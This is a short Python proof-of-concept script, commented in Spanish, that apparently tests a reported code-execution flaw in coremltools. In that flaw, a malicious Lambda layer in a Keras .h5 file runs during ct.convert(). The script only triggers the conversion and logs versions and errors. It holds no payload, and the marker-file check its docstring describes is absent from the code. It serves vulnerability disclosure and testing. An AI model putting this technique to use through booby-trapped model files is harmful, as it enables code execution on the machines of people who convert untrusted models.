""" PoC end-to-end -- coremltools focus-04, hallazgo "Keras H5 Lambda RCE". Simula a una victima que descarga un `.h5` de un repo/model-zoo no confiable y simplemente quiere "convertirlo" a Core ML -- nada mas. Llama a `coremltools.convert(...)` desde un proceso Python limpio y comprueba si el fichero marcador aparece (senal de que el payload embebido en el Lambda del .h5 se ejecuto durante la propia llamada a convert(), sin que la victima ejecutase el modelo ni pidiese nada mas que la conversion). Uso: poc_convert.py """ import sys import traceback if len(sys.argv) != 2: print("Uso: poc_convert.py ") sys.exit(1) H5_PATH = sys.argv[1] print(f"[poc_convert] Proceso limpio. Importando coremltools...") import coremltools as ct print(f"[poc_convert] coremltools.__version__ = {ct.__version__}") import tensorflow as tf print(f"[poc_convert] tensorflow.__version__ = {tf.__version__}") try: import keras as _keras_pkg print(f"[poc_convert] keras.__version__ = {_keras_pkg.__version__}") except Exception as _e: print(f"[poc_convert] (no se pudo leer keras.__version__ directamente: {_e})") print(f"[poc_convert] Llamando a ct.convert({H5_PATH!r}, source='tensorflow') ...") try: mlmodel = ct.convert(H5_PATH, source="tensorflow") print("[poc_convert] ct.convert() completo SIN excepcion.") except Exception as e: print(f"[poc_convert] ct.convert() lanzo una excepcion: {type(e).__name__}: {e}") traceback.print_exc() print("[poc_convert] Fin del script.")